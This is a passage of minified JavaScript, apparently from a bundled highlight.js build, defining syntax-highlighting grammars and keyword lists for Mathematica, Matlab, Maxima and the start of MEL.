tStyle","$TimedOut","$TimeUnit","$TimeZone","$TimeZoneEntity","$TopDirectory","$TraceOff","$TraceOn","$TracePattern","$TracePostAction","$TracePreAction","$UnitSystem","$Urgent","$UserAddOnsDirectory","$UserAgentLanguages","$UserAgentMachine","$UserAgentName","$UserAgentOperatingSystem","$UserAgentString","$UserAgentVersion","$UserBaseDirectory","$UserBasePacletsDirectory","$UserDocumentsDirectory","$Username","$UserName","$UserURLBase","$Version","$VersionNumber","$VideoDecoders","$VideoEncoders","$VoiceStyles","$WolframDocumentsDirectory","$WolframID","$WolframUUID"];function eO8(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function sO8(A){return vaA("(",A,")?")}function vaA(...A){return A.map((q)=>eO8(q)).join("")}function tO8(...A){return"("+A.map((q)=>eO8(q)).join("|")+")"}function dVq(A){let K=/([2-9]|[1-2]\d|[3][0-5])\^\^/,q=/(\w*\.\w+|\w+\.\w*|\w+)/,Y=/(\d*\.\d+|\d+\.\d*|\d+)/,z=tO8(vaA(K,q),Y),J=tO8(/``[+-]?(\d*\.\d+|\d+\.\d*|\d+)/,/`([+-]?(\d*\.\d+|\d+\.\d*|\d+))?/),O=/\*\^[+-]?\d+/,$={className:"number",relevance:0,begin:vaA(z,sO8(J),sO8(O))},_=/[a-zA-Z$][a-zA-Z0-9$]*/,G=new Set(pVq),Z={variants:[{className:"builtin-symbol",begin:_,"on:begin":(N,T)=>{if(!G.has(N[0]))T.ignoreMatch()}},{className:"symbol",relevance:0,begin:_}]},W={className:"named-character",begin:/\\\[[$a-zA-Z][$a-zA-Z0-9]+\]/},D={className:"operator",relevance:0,begin:/[+\-*/,;.:@~=><&|_`'^?!%]+/},j={className:"pattern",relevance:0,begin:/([a-zA-Z$][a-zA-Z0-9$]*)?_+([a-zA-Z$][a-zA-Z0-9$]*)?/},M={className:"slot",relevance:0,begin:/#[a-zA-Z$][a-zA-Z0-9$]*|#+[0-9]?/},P={className:"brace",relevance:0,begin:/[[\](){}]/},f={className:"message-name",relevance:0,begin:vaA("::",_)};return{name:"Mathematica",aliases:["mma","wl"],classNameAliases:{brace:"punctuation",pattern:"type",slot:"type",symbol:"variable","named-character":"variable","builtin-symbol":"built_in","message-name":"string"},contains:[A.COMMENT(/\(\*/,/\*\)/,{contains:["self"]}),j,M,f,Z,W,A.QUOTE_STRING_MODE,$,D,P]}}A08.exports=dVq});var Y08=v((mCz,q08)=>{function cVq(A){var K="('|\\.')+",q={relevance:0,contains:[{begin:K}]};return{name:"Matlab",keywords:{keyword:"arguments break case catch classdef continue else elseif end enumeration events for function global if methods otherwise parfor persistent properties return spmd switch try while",built_in:"sin sind sinh asin asind asinh cos cosd cosh acos acosd acosh tan tand tanh atan atand atan2 atanh sec secd sech asec asecd asech csc cscd csch acsc acscd acsch cot cotd coth acot acotd acoth hypot exp expm1 log log1p log10 log2 pow2 realpow reallog realsqrt sqrt nthroot nextpow2 abs angle complex conj imag real unwrap isreal cplxpair fix floor ceil round mod rem sign airy besselj bessely besselh besseli besselk beta betainc betaln ellipj ellipke erf erfc erfcx erfinv expint gamma gammainc gammaln psi legendre cross dot factor isprime primes gcd lcm rat rats perms nchoosek factorial cart2sph cart2pol pol2cart sph2cart hsv2rgb rgb2hsv zeros ones eye repmat rand randn linspace logspace freqspace meshgrid accumarray size length ndims numel disp isempty isequal isequalwithequalnans cat reshape diag blkdiag tril triu fliplr flipud flipdim rot90 find sub2ind ind2sub bsxfun ndgrid permute ipermute shiftdim circshift squeeze isscalar isvector ans eps realmax realmin pi i|0 inf nan isnan isinf isfinite j|0 why compan gallery hadamard hankel hilb invhilb magic pascal rosser toeplitz vander wilkinson max min nanmax nanmin mean nanmean type table readtable writetable sortrows sort figure plot plot3 scatter scatter3 cellfun legend intersect ismember procrustes hold num2cell "},illegal:'(//|"|#|/\\*|\\s+/\\w+)',contains:[{className:"function",beginKeywords:"function",end:"$",contains:[A.UNDERSCORE_TITLE_MODE,{className:"params",variants:[{begin:"\\(",end:"\\)"},{begin:"\\[",end:"\\]"}]}]},{className:"built_in",begin:/true|false/,relevance:0,starts:q},{begin:"[a-zA-Z][a-zA-Z_0-9]*"+K,relevance:0},{className:"number",begin:A.C_NUMBER_RE,relevance:0,starts:q},{className:"string",begin:"'",end:"'",contains:[A.BACKSLASH_ESCAPE,{begin:"''"}]},{begin:/\]|\}|\)/,relevance:0,starts:q},{className:"string",begin:'"',end:'"',contains:[A.BACKSLASH_ESCAPE,{begin:'""'}],starts:q},A.COMMENT("^\\s*%\\{\\s*$","^\\s*%\\}\\s*$"),A.COMMENT("%","$")]}}q08.exports=cVq});var w08=v((gCz,z08)=>{function lVq(A){let Y=" abasep abs absint absolute_real_time acos acosh acot acoth acsc acsch activate addcol add_edge add_edges addmatrices addrow add_vertex add_vertices adjacency_matrix adjoin adjoint af agd airy airy_ai airy_bi airy_dai airy_dbi algsys alg_type alias allroots alphacharp alphanumericp amortization %and annuity_fv annuity_pv antid antidiff AntiDifference append appendfile apply apply1 apply2 applyb1 apropos args arit_amortization arithmetic arithsum array arrayapply arrayinfo arraymake arraysetapply ascii asec asech asin asinh askinteger asksign assoc assoc_legendre_p assoc_legendre_q assume assume_external_byte_order asympa at atan atan2 atanh atensimp atom atvalue augcoefmatrix augmented_lagrangian_method av average_degree backtrace bars barsplot barsplot_description base64 base64_decode bashindices batch batchload bc2 bdvac belln benefit_cost bern bernpoly bernstein_approx bernstein_expand bernstein_poly bessel bessel_i bessel_j bessel_k bessel_simplify bessel_y beta beta_incomplete beta_incomplete_generalized beta_incomplete_regularized bezout bfallroots bffac bf_find_root bf_fmin_cobyla bfhzeta bfloat bfloatp bfpsi bfpsi0 bfzeta biconnected_components bimetric binomial bipartition block blockmatrixp bode_gain bode_phase bothcoef box boxplot boxplot_description break bug_report build_info|10 buildq build_sample burn cabs canform canten cardinality carg cartan cartesian_product catch cauchy_matrix cbffac cdf_bernoulli cdf_beta cdf_binomial cdf_cauchy cdf_chi2 cdf_continuous_uniform cdf_discrete_uniform cdf_exp cdf_f cdf_gamma cdf_general_finite_discrete cdf_geometric cdf_gumbel cdf_hypergeometric cdf_laplace cdf_logistic cdf_lognormal cdf_negative_binomial cdf_noncentral_chi2 cdf_noncentral_student_t cdf_normal cdf_pareto cdf_poisson cdf_rank_sum cdf_rayleigh cdf_signed_rank cdf_student_t cdf_weibull cdisplay ceiling central_moment cequal cequalignore cf cfdisrep cfexpand cgeodesic cgreaterp cgreaterpignore changename changevar chaosgame charat charfun charfun2 charlist charp charpoly chdir chebyshev_t chebyshev_u checkdiv check_overlaps chinese cholesky christof chromatic_index chromatic_number cint circulant_graph clear_edge_weight clear_rules clear_vertex_label clebsch_gordan clebsch_graph clessp clesspignore close closefile cmetric coeff coefmatrix cograd col collapse collectterms columnop columnspace columnswap columnvector combination combine comp2pui compare compfile compile compile_file complement_graph complete_bipartite_graph complete_graph complex_number_p components compose_functions concan concat conjugate conmetderiv connected_components connect_vertices cons constant constantp constituent constvalue cont2part content continuous_freq contortion contour_plot contract contract_edge contragrad contrib_ode convert coord copy copy_file copy_graph copylist copymatrix cor cos cosh cot coth cov cov1 covdiff covect covers crc24sum create_graph create_list csc csch csetup cspline ctaylor ct_coordsys ctransform ctranspose cube_graph cuboctahedron_graph cunlisp cv cycle_digraph cycle_graph cylindrical days360 dblint deactivate declare declare_constvalue declare_dimensions declare_fundamental_dimensions declare_fundamental_units declare_qty declare_translated declare_unit_conversion declare_units declare_weights decsym defcon define define_alt_display define_variable defint defmatch defrule defstruct deftaylor degree_sequence del delete deleten delta demo demoivre denom depends derivdegree derivlist describe desolve determinant dfloat dgauss_a dgauss_b dgeev dgemm dgeqrf dgesv dgesvd diag diagmatrix diag_matrix diagmatrixp diameter diff digitcharp dimacs_export dimacs_import dimension dimensionless dimensions dimensions_as_list direct directory discrete_freq disjoin disjointp disolate disp dispcon dispform dispfun dispJordan display disprule dispterms distrib divide divisors divsum dkummer_m dkummer_u dlange dodecahedron_graph dotproduct dotsimp dpart draw draw2d draw3d drawdf draw_file draw_graph dscalar echelon edge_coloring edge_connectivity edges eigens_by_jacobi eigenvalues eigenvectors eighth einstein eivals eivects elapsed_real_time elapsed_run_time ele2comp ele2polynome ele2pui elem elementp elevation_grid elim elim_allbut eliminate eliminate_using ellipse elliptic_e elliptic_ec elliptic_eu elliptic_f elliptic_kc elliptic_pi ematrix empty_graph emptyp endcons entermatrix entertensor entier equal equalp equiv_classes erf erfc erf_generalized erfi errcatch error errormsg errors euler ev eval_string evenp every evolution evolution2d evundiff example exp expand expandwrt expandwrt_factored expint expintegral_chi expintegral_ci expintegral_e expintegral_e1 expintegral_ei expintegral_e_simplify expintegral_li expintegral_shi expintegral_si explicit explose exponentialize express expt exsec extdiff extract_linear_equations extremal_subset ezgcd %f f90 facsum factcomb factor factorfacsum factorial factorout factorsum facts fast_central_elements fast_linsolve fasttimes featurep fernfale fft fib fibtophi fifth filename_merge file_search file_type fillarray findde find_root find_root_abs find_root_error find_root_rel first fix flatten flength float floatnump floor flower_snark flush flush1deriv flushd flushnd flush_output fmin_cobyla forget fortran fourcos fourexpand fourier fourier_elim fourint fourintcos fourintsin foursimp foursin fourth fposition frame_bracket freeof freshline fresnel_c fresnel_s from_adjacency_matrix frucht_graph full_listify fullmap fullmapl fullratsimp fullratsubst fullsetify funcsolve fundamental_dimensions fundamental_units fundef funmake funp fv g0 g1 gamma gamma_greek gamma_incomplete gamma_incomplete_generalized gamma_incomplete_regularized gauss gauss_a gauss_b gaussprob gcd gcdex gcdivide gcfac gcfactor gd generalized_lambert_w genfact gen_laguerre genmatrix gensym geo_amortization geo_annuity_fv geo_annuity_pv geomap geometric geometric_mean geosum get getcurrentdirectory get_edge_weight getenv get_lu_factors get_output_stream_string get_pixel get_plot_option get_tex_environment get_tex_environment_default get_vertex_label gfactor gfactorsum ggf girth global_variances gn gnuplot_close gnuplot_replot gnuplot_reset gnuplot_restart gnuplot_start go Gosper GosperSum gr2d gr3d gradef gramschmidt graph6_decode graph6_encode graph6_export graph6_import graph_center graph_charpoly graph_eigenvalues graph_flow graph_order graph_periphery graph_product graph_size graph_union great_rhombicosidodecahedron_graph great_rhombicuboctahedron_graph grid_graph grind grobner_basis grotzch_graph hamilton_cycle hamilton_path hankel hankel_1 hankel_2 harmonic harmonic_mean hav heawood_graph hermite hessian hgfred hilbertmap hilbert_matrix hipow histogram histogram_description hodge horner hypergeometric i0 i1 %ibes ic1 ic2 ic_convert ichr1 ichr2 icosahedron_graph icosidodecahedron_graph icurvature ident identfor identity idiff idim idummy ieqn %if ifactors iframes ifs igcdex igeodesic_coords ilt image imagpart imetric implicit implicit_derivative implicit_plot indexed_tensor indices induced_subgraph inferencep inference_result infix info_display init_atensor init_ctensor in_neighbors innerproduct inpart inprod inrt integerp integer_partitions integrate intersect intersection intervalp intopois intosum invariant1 invariant2 inverse_fft inverse_jacobi_cd inverse_jacobi_cn inverse_jacobi_cs inverse_jacobi_dc inverse_jacobi_dn inverse_jacobi_ds inverse_jacobi_nc inverse_jacobi_nd inverse_jacobi_ns inverse_jacobi_sc inverse_jacobi_sd inverse_jacobi_sn invert invert_by_adjoint invert_by_lu inv_mod irr is is_biconnected is_bipartite is_connected is_digraph is_edge_in_graph is_graph is_graph_or_digraph ishow is_isomorphic isolate isomorphism is_planar isqrt isreal_p is_sconnected is_tree is_vertex_in_graph items_inference %j j0 j1 jacobi jacobian jacobi_cd jacobi_cn jacobi_cs jacobi_dc jacobi_dn jacobi_ds jacobi_nc jacobi_nd jacobi_ns jacobi_p jacobi_sc jacobi_sd jacobi_sn JF jn join jordan julia julia_set julia_sin %k kdels kdelta kill killcontext kostka kron_delta kronecker_product kummer_m kummer_u kurtosis kurtosis_bernoulli kurtosis_beta kurtosis_binomial kurtosis_chi2 kurtosis_continuous_uniform kurtosis_discrete_uniform kurtosis_exp kurtosis_f kurtosis_gamma kurtosis_general_finite_discrete kurtosis_geometric kurtosis_gumbel kurtosis_hypergeometric kurtosis_laplace kurtosis_logistic kurtosis_lognormal kurtosis_negative_binomial kurtosis_noncentral_chi2 kurtosis_noncentral_student_t kurtosis_normal kurtosis_pareto kurtosis_poisson kurtosis_rayleigh kurtosis_student_t kurtosis_weibull label labels lagrange laguerre lambda lambert_w laplace laplacian_matrix last lbfgs lc2kdt lcharp lc_l lcm lc_u ldefint ldisp ldisplay legendre_p legendre_q leinstein length let letrules letsimp levi_civita lfreeof lgtreillis lhs li liediff limit Lindstedt linear linearinterpol linear_program linear_regression line_graph linsolve listarray list_correlations listify list_matrix_entries list_nc_monomials listoftens listofvars listp lmax lmin load loadfile local locate_matrix_entry log logcontract log_gamma lopow lorentz_gauge lowercasep lpart lratsubst lreduce lriemann lsquares_estimates lsquares_estimates_approximate lsquares_estimates_exact lsquares_mse lsquares_residual_mse lsquares_residuals lsum ltreillis lu_backsub lucas lu_factor %m macroexpand macroexpand1 make_array makebox makefact makegamma make_graph make_level_picture makelist makeOrders make_poly_continent make_poly_country make_polygon make_random_state make_rgb_picture makeset make_string_input_stream make_string_output_stream make_transform mandelbrot mandelbrot_set map mapatom maplist matchdeclare matchfix mat_cond mat_fullunblocker mat_function mathml_display mat_norm matrix matrixmap matrixp matrix_size mattrace mat_trace mat_unblocker max max_clique max_degree max_flow maximize_lp max_independent_set max_matching maybe md5sum mean mean_bernoulli mean_beta mean_binomial mean_chi2 mean_continuous_uniform mean_deviation mean_discrete_uniform mean_exp mean_f mean_gamma mean_general_finite_discrete mean_geometric mean_gumbel mean_hypergeometric mean_laplace mean_logistic mean_lognormal mean_negative_binomial mean_noncentral_chi2 mean_noncentral_student_t mean_normal mean_pareto mean_poisson mean_rayleigh mean_student_t mean_weibull median median_deviation member mesh metricexpandall mgf1_sha1 min min_degree min_edge_cut minfactorial minimalPoly minimize_lp minimum_spanning_tree minor minpack_lsquares minpack_solve min_vertex_cover min_vertex_cut mkdir mnewton mod mode_declare mode_identity ModeMatrix moebius mon2schur mono monomial_dimensions multibernstein_poly multi_display_for_texinfo multi_elem multinomial multinomial_coeff multi_orbit multiplot_mode multi_pui multsym multthru mycielski_graph nary natural_unit nc_degree ncexpt ncharpoly negative_picture neighbors new newcontext newdet new_graph newline newton new_variable next_prime nicedummies niceindices ninth nofix nonarray noncentral_moment nonmetricity nonnegintegerp nonscalarp nonzeroandfreeof notequal nounify nptetrad npv nroots nterms ntermst nthroot nullity nullspace num numbered_boundaries numberp number_to_octets num_distinct_partitions numerval numfactor num_partitions nusum nzeta nzetai nzetar octets_to_number octets_to_oid odd_girth oddp ode2 ode_check odelin oid_to_octets op opena opena_binary openr openr_binary openw openw_binary operatorp opsubst optimize %or orbit orbits ordergreat ordergreatp orderless orderlessp orthogonal_complement orthopoly_recur orthopoly_weight outermap out_neighbors outofpois pade parabolic_cylinder_d parametric parametric_surface parg parGosper parse_string parse_timedate part part2cont partfrac partition partition_set partpol path_digraph path_graph pathname_directory pathname_name pathname_type pdf_bernoulli pdf_beta pdf_binomial pdf_cauchy pdf_chi2 pdf_continuous_uniform pdf_discrete_uniform pdf_exp pdf_f pdf_gamma pdf_general_finite_discrete pdf_geometric pdf_gumbel pdf_hypergeometric pdf_laplace pdf_logistic pdf_lognormal pdf_negative_binomial pdf_noncentral_chi2 pdf_noncentral_student_t pdf_normal pdf_pareto pdf_poisson pdf_rank_sum pdf_rayleigh pdf_signed_rank pdf_student_t pdf_weibull pearson_skewness permanent permut permutation permutations petersen_graph petrov pickapart picture_equalp picturep piechart piechart_description planar_embedding playback plog plot2d plot3d plotdf ploteq plsquares pochhammer points poisdiff poisexpt poisint poismap poisplus poissimp poissubst poistimes poistrim polar polarform polartorect polar_to_xy poly_add poly_buchberger poly_buchberger_criterion poly_colon_ideal poly_content polydecomp poly_depends_p poly_elimination_ideal poly_exact_divide poly_expand poly_expt poly_gcd polygon poly_grobner poly_grobner_equal poly_grobner_member poly_grobner_subsetp poly_ideal_intersection poly_ideal_polysaturation poly_ideal_polysaturation1 poly_ideal_saturation poly_ideal_saturation1 poly_lcm poly_minimization polymod poly_multiply polynome2ele polynomialp poly_normal_form poly_normalize poly_normalize_list poly_polysaturation_extension poly_primitive_part poly_pseudo_divide poly_reduced_grobner poly_reduction poly_saturation_extension poly_s_polynomial poly_subtract polytocompanion pop postfix potential power_mod powerseries powerset prefix prev_prime primep primes principal_components print printf printfile print_graph printpois printprops prodrac product properties propvars psi psubst ptriangularize pui pui2comp pui2ele pui2polynome pui_direct puireduc push put pv qput qrange qty quad_control quad_qag quad_qagi quad_qagp quad_qags quad_qawc quad_qawf quad_qawo quad_qaws quadrilateral quantile quantile_bernoulli quantile_beta quantile_binomial quantile_cauchy quantile_chi2 quantile_continuous_uniform quantile_discrete_uniform quantile_exp quantile_f quantile_gamma quantile_general_finite_discrete quantile_geometric quantile_gumbel quantile_hypergeometric quantile_laplace quantile_logistic quantile_lognormal quantile_negative_binomial quantile_noncentral_chi2 quantile_noncentral_student_t quantile_normal quantile_pareto quantile_poisson quantile_rayleigh quantile_student_t quantile_weibull quartile_skewness quit qunit quotient racah_v racah_w radcan radius random random_bernoulli random_beta random_binomial random_bipartite_graph random_cauchy random_chi2 random_continuous_uniform random_digraph random_discrete_uniform random_exp random_f random_gamma random_general_finite_discrete random_geometric random_graph random_graph1 random_gumbel random_hypergeometric random_laplace random_logistic random_lognormal random_negative_binomial random_network random_noncentral_chi2 random_noncentral_student_t random_normal random_pareto random_permutation random_poisson random_rayleigh random_regular_graph random_student_t random_tournament random_tree random_weibull range rank rat ratcoef ratdenom ratdiff ratdisrep ratexpand ratinterpol rational rationalize ratnumer ratnump ratp ratsimp ratsubst ratvars ratweight read read_array read_binary_array read_binary_list read_binary_matrix readbyte readchar read_hashed_array readline read_list read_matrix read_nested_list readonly read_xpm real_imagpart_to_conjugate realpart realroots rearray rectangle rectform rectform_log_if_constant recttopolar rediff reduce_consts reduce_order region region_boundaries region_boundaries_plus rem remainder remarray rembox remcomps remcon remcoord remfun remfunction remlet remove remove_constvalue remove_dimensions remove_edge remove_fundamental_dimensions remove_fundamental_units remove_plot_option remove_vertex rempart remrule remsym remvalue rename rename_file reset reset_displays residue resolvante resolvante_alternee1 resolvante_bipartite resolvante_diedrale resolvante_klein resolvante_klein3 resolvante_produit_sym resolvante_unitaire resolvante_vierer rest resultant return reveal reverse revert revert2 rgb2level rhs ricci riemann rinvariant risch rk rmdir rncombine romberg room rootscontract round row rowop rowswap rreduce run_testsuite %s save saving scalarp scaled_bessel_i scaled_bessel_i0 scaled_bessel_i1 scalefactors scanmap scatterplot scatterplot_description scene schur2comp sconcat scopy scsimp scurvature sdowncase sec sech second sequal sequalignore set_alt_display setdifference set_draw_defaults set_edge_weight setelmx setequalp setify setp set_partitions set_plot_option set_prompt set_random_state set_tex_environment set_tex_environment_default setunits setup_autoload set_up_dot_simplifications set_vertex_label seventh sexplode sf sha1sum sha256sum shortest_path shortest_weighted_path show showcomps showratvars sierpinskiale sierpinskimap sign signum similaritytransform simp_inequality simplify_sum simplode simpmetderiv simtran sin sinh sinsert sinvertcase sixth skewness skewness_bernoulli skewness_beta skewness_binomial skewness_chi2 skewness_continuous_uniform skewness_discrete_uniform skewness_exp skewness_f skewness_gamma skewness_general_finite_discrete skewness_geometric skewness_gumbel skewness_hypergeometric skewness_laplace skewness_logistic skewness_lognormal skewness_negative_binomial skewness_noncentral_chi2 skewness_noncentral_student_t skewness_normal skewness_pareto skewness_poisson skewness_rayleigh skewness_student_t skewness_weibull slength smake small_rhombicosidodecahedron_graph small_rhombicuboctahedron_graph smax smin smismatch snowmap snub_cube_graph snub_dodecahedron_graph solve solve_rec solve_rec_rat some somrac sort sparse6_decode sparse6_encode sparse6_export sparse6_import specint spherical spherical_bessel_j spherical_bessel_y spherical_hankel1 spherical_hankel2 spherical_harmonic spherical_to_xyz splice split sposition sprint sqfr sqrt sqrtdenest sremove sremovefirst sreverse ssearch ssort sstatus ssubst ssubstfirst staircase standardize standardize_inverse_trig starplot starplot_description status std std1 std_bernoulli std_beta std_binomial std_chi2 std_continuous_uniform std_discrete_uniform std_exp std_f std_gamma std_general_finite_discrete std_geometric std_gumbel std_hypergeometric std_laplace std_logistic std_lognormal std_negative_binomial std_noncentral_chi2 std_noncentral_student_t std_normal std_pareto std_poisson std_rayleigh std_student_t std_weibull stemplot stirling stirling1 stirling2 strim striml strimr string stringout stringp strong_components struve_h struve_l sublis sublist sublist_indices submatrix subsample subset subsetp subst substinpart subst_parallel substpart substring subvar subvarp sum sumcontract summand_to_rec supcase supcontext symbolp symmdifference symmetricp system take_channel take_inference tan tanh taylor taylorinfo taylorp taylor_simplifier taytorat tcl_output tcontract tellrat tellsimp tellsimpafter tentex tenth test_mean test_means_difference test_normality test_proportion test_proportions_difference test_rank_sum test_sign test_signed_rank test_variance test_variance_ratio tex tex1 tex_display texput %th third throw time timedate timer timer_info tldefint tlimit todd_coxeter toeplitz tokens to_lisp topological_sort to_poly to_poly_solve totaldisrep totalfourier totient tpartpol trace tracematrix trace_options transform_sample translate translate_file transpose treefale tree_reduce treillis treinat triangle triangularize trigexpand trigrat trigreduce trigsimp trunc truncate truncated_cube_graph truncated_dodecahedron_graph truncated_icosahedron_graph truncated_tetrahedron_graph tr_warnings_get tube tutte_graph ueivects uforget ultraspherical underlying_graph undiff union unique uniteigenvectors unitp units unit_step unitvector unorder unsum untellrat untimer untrace uppercasep uricci uriemann uvect vandermonde_matrix var var1 var_bernoulli var_beta var_binomial var_chi2 var_continuous_uniform var_discrete_uniform var_exp var_f var_gamma var_general_finite_discrete var_geometric var_gumbel var_hypergeometric var_laplace var_logistic var_lognormal var_negative_binomial var_noncentral_chi2 var_noncentral_student_t var_normal var_pareto var_poisson var_rayleigh var_student_t var_weibull vector vectorpotential vectorsimp verbify vers vertex_coloring vertex_connectivity vertex_degree vertex_distance vertex_eccentricity vertex_in_degree vertex_out_degree vertices vertices_to_cycle vertices_to_path %w weyl wheel_graph wiener_index wigner_3j wigner_6j wigner_9j with_stdout write_binary_data writebyte write_data writefile wronskian xreduce xthru %y Zeilberger zeroequiv zerofor zeromatrix zeromatrixp zeta zgeev zheev zlange zn_add_table zn_carmichael_lambda zn_characteristic_factors zn_determinant zn_factor_generators zn_invert_by_lu zn_log zn_mult_table absboxchar activecontexts adapt_depth additive adim aform algebraic algepsilon algexact aliases allbut all_dotsimp_denoms allocation allsym alphabetic animation antisymmetric arrays askexp assume_pos assume_pos_pred assumescalar asymbol atomgrad atrig1 axes axis_3d axis_bottom axis_left axis_right axis_top azimuth background background_color backsubst berlefact bernstein_explicit besselexpand beta_args_sum_to_integer beta_expand bftorat bftrunc bindtest border boundaries_array box boxchar breakup %c capping cauchysum cbrange cbtics center cflength cframe_flag cnonmet_flag color color_bar color_bar_tics colorbox columns commutative complex cone context contexts contour contour_levels cosnpiflag ctaypov ctaypt ctayswitch ctayvar ct_coords ctorsion_flag ctrgsimp cube current_let_rule_package cylinder data_file_name debugmode decreasing default_let_rule_package delay dependencies derivabbrev derivsubst detout diagmetric diff dim dimensions dispflag display2d|10 display_format_internal distribute_over doallmxops domain domxexpt domxmxops domxnctimes dontfactor doscmxops doscmxplus dot0nscsimp dot0simp dot1simp dotassoc dotconstrules dotdistrib dotexptsimp dotident dotscrules draw_graph_program draw_realpart edge_color edge_coloring edge_partition edge_type edge_width %edispflag elevation %emode endphi endtheta engineering_format_floats enhanced3d %enumer epsilon_lp erfflag erf_representation errormsg error_size error_syms error_type %e_to_numlog eval even evenfun evflag evfun ev_point expandwrt_denom expintexpand expintrep expon expop exptdispflag exptisolate exptsubst facexpand facsum_combine factlim factorflag factorial_expand factors_only fb feature features file_name file_output_append file_search_demo file_search_lisp file_search_maxima|10 file_search_tests file_search_usage file_type_lisp file_type_maxima|10 fill_color fill_density filled_func fixed_vertices flipflag float2bf font font_size fortindent fortspaces fpprec fpprintprec functions gamma_expand gammalim gdet genindex gensumnum GGFCFMAX GGFINFINITY globalsolve gnuplot_command gnuplot_curve_styles gnuplot_curve_titles gnuplot_default_term_command gnuplot_dumb_term_command gnuplot_file_args gnuplot_file_name gnuplot_out_file gnuplot_pdf_term_command gnuplot_pm3d gnuplot_png_term_command gnuplot_postamble gnuplot_preamble gnuplot_ps_term_command gnuplot_svg_term_command gnuplot_term gnuplot_view_args Gosper_in_Zeilberger gradefs grid grid2d grind halfangles head_angle head_both head_length head_type height hypergeometric_representation %iargs ibase icc1 icc2 icounter idummyx ieqnprint ifb ifc1 ifc2 ifg ifgi ifr iframe_bracket_form ifri igeowedge_flag ikt1 ikt2 imaginary inchar increasing infeval infinity inflag infolists inm inmc1 inmc2 intanalysis integer integervalued integrate_use_rootsof integration_constant integration_constant_counter interpolate_color intfaclim ip_grid ip_grid_in irrational isolate_wrt_times iterations itr julia_parameter %k1 %k2 keepfloat key key_pos kinvariant kt label label_alignment label_orientation labels lassociative lbfgs_ncorrections lbfgs_nfeval_max leftjust legend letrat let_rule_packages lfg lg lhospitallim limsubst linear linear_solver linechar linel|10 linenum line_type linewidth line_width linsolve_params linsolvewarn lispdisp listarith listconstvars listdummyvars lmxchar load_pathname loadprint logabs logarc logcb logconcoeffp logexpand lognegint logsimp logx logx_secondary logy logy_secondary logz lriem m1pbranch macroexpansion macros mainvar manual_demo maperror mapprint matrix_element_add matrix_element_mult matrix_element_transpose maxapplydepth maxapplyheight maxima_tempdir|10 maxima_userdir|10 maxnegex MAX_ORD maxposex maxpsifracdenom maxpsifracnum maxpsinegint maxpsiposint maxtayorder mesh_lines_color method mod_big_prime mode_check_errorp mode_checkp mode_check_warnp mod_test mod_threshold modular_linear_solver modulus multiplicative multiplicities myoptions nary negdistrib negsumdispflag newline newtonepsilon newtonmaxiter nextlayerfactor niceindicespref nm nmc noeval nolabels nonegative_lp noninteger nonscalar noun noundisp nouns np npi nticks ntrig numer numer_pbranch obase odd oddfun opacity opproperties opsubst optimprefix optionset orientation origin orthopoly_returns_intervals outative outchar packagefile palette partswitch pdf_file pfeformat phiresolution %piargs piece pivot_count_sx pivot_max_sx plot_format plot_options plot_realpart png_file pochhammer_max_index points pointsize point_size points_joined point_type poislim poisson poly_coefficient_ring poly_elimination_order polyfactor poly_grobner_algorithm poly_grobner_debug poly_monomial_order poly_primary_elimination_order poly_return_term_list poly_secondary_elimination_order poly_top_reduction_only posfun position powerdisp pred prederror primep_number_of_tests product_use_gamma program programmode promote_float_to_bigfloat prompt proportional_axes props psexpand ps_file radexpand radius radsubstflag rassociative ratalgdenom ratchristof ratdenomdivide rateinstein ratepsilon ratfac rational ratmx ratprint ratriemann ratsimpexpons ratvarswitch ratweights ratweyl ratwtlvl real realonly redraw refcheck resolution restart resultant ric riem rmxchar %rnum_list rombergabs rombergit rombergmin rombergtol rootsconmode rootsepsilon run_viewer same_xy same_xyz savedef savefactors scalar scalarmatrixp scale scale_lp setcheck setcheckbreak setval show_edge_color show_edges show_edge_type show_edge_width show_id show_label showtime show_vertex_color show_vertex_size show_vertex_type show_vertices show_weight simp simplified_output simplify_products simpproduct simpsum sinnpiflag solvedecomposes solveexplicit solvefactors solvenullwarn solveradcan solvetrigwarn space sparse sphere spring_embedding_depth sqrtdispflag stardisp startphi starttheta stats_numer stringdisp structures style sublis_apply_lambda subnumsimp sumexpand sumsplitfact surface surface_hide svg_file symmetric tab taylordepth taylor_logexpand taylor_order_coefficients taylor_truncate_polynomials tensorkill terminal testsuite_files thetaresolution timer_devalue title tlimswitch tr track transcompile transform transform_xy translate_fast_arrays transparent transrun tr_array_as_ref tr_bound_function_applyp tr_file_tty_messagesp tr_float_can_branch_complex tr_function_call_default trigexpandplus trigexpandtimes triginverses trigsign trivial_solutions tr_numer tr_optimize_max_loop tr_semicompile tr_state_vars tr_warn_bad_function_calls tr_warn_fexpr tr_warn_meval tr_warn_mode tr_warn_undeclared tr_warn_undefined_variable tstep ttyoff tube_extremes ufg ug %unitexpand unit_vectors uric uriem use_fast_arrays user_preamble usersetunits values vect_cross verbose vertex_color vertex_coloring vertex_partition vertex_size vertex_type view warnings weyl width windowname windowtitle wired_surface wireframe xaxis xaxis_color xaxis_secondary xaxis_type xaxis_width xlabel xlabel_secondary xlength xrange xrange_secondary xtics xtics_axis xtics_rotate xtics_rotate_secondary xtics_secondary xtics_secondary_axis xu_grid x_voxel xy_file xyplane xy_scale yaxis yaxis_color yaxis_secondary yaxis_type yaxis_width ylabel ylabel_secondary ylength yrange yrange_secondary ytics ytics_axis ytics_rotate ytics_rotate_secondary ytics_secondary ytics_secondary_axis yv_grid y_voxel yx_ratio zaxis zaxis_color zaxis_type zaxis_width zeroa zerob zerobern zeta%pi zlabel zlabel_rotate zlength zmin zn_primroot_limit zn_primroot_pretest",z="_ __ %|0 %%|0";return{name:"Maxima",keywords:{$pattern:"[A-Za-z_%][0-9A-Za-z_%]*",keyword:"if then else elseif for thru do while unless step in and or not",literal:"true false unknown inf minf ind und %e %i %pi %phi %gamma",built_in:Y,symbol:"_ __ %|0 %%|0"},contains:[{className:"comment",begin:"/\\*",end:"\\*/",contains:["self"]},A.QUOTE_STRING_MODE,{className:"number",relevance:0,variants:[{begin:"\\b(\\d+|\\d+\\.|\\.\\d+|\\d+\\.\\d+)[Ee][-+]?\\d+\\b"},{begin:"\\b(\\d+|\\d+\\.|\\.\\d+|\\d+\\.\\d+)[Bb][-+]?\\d+\\b",relevance:10},{begin:"\\b(\\.\\d+|\\d+\\.\\d+)\\b"},{begin:"\\b(\\d+|0[0-9A-Za-z]+)\\.?\\b"}]}],illegal:/@/}}z08.exports=lVq});var J08=v((FCz,H08)=>{function iVq(A){return{name:"MEL",keywords:"int float string vector matrix if else switch case default while do for in break continue global proc return about abs addAttr addAttributeEditorNodeHelp addDynamic 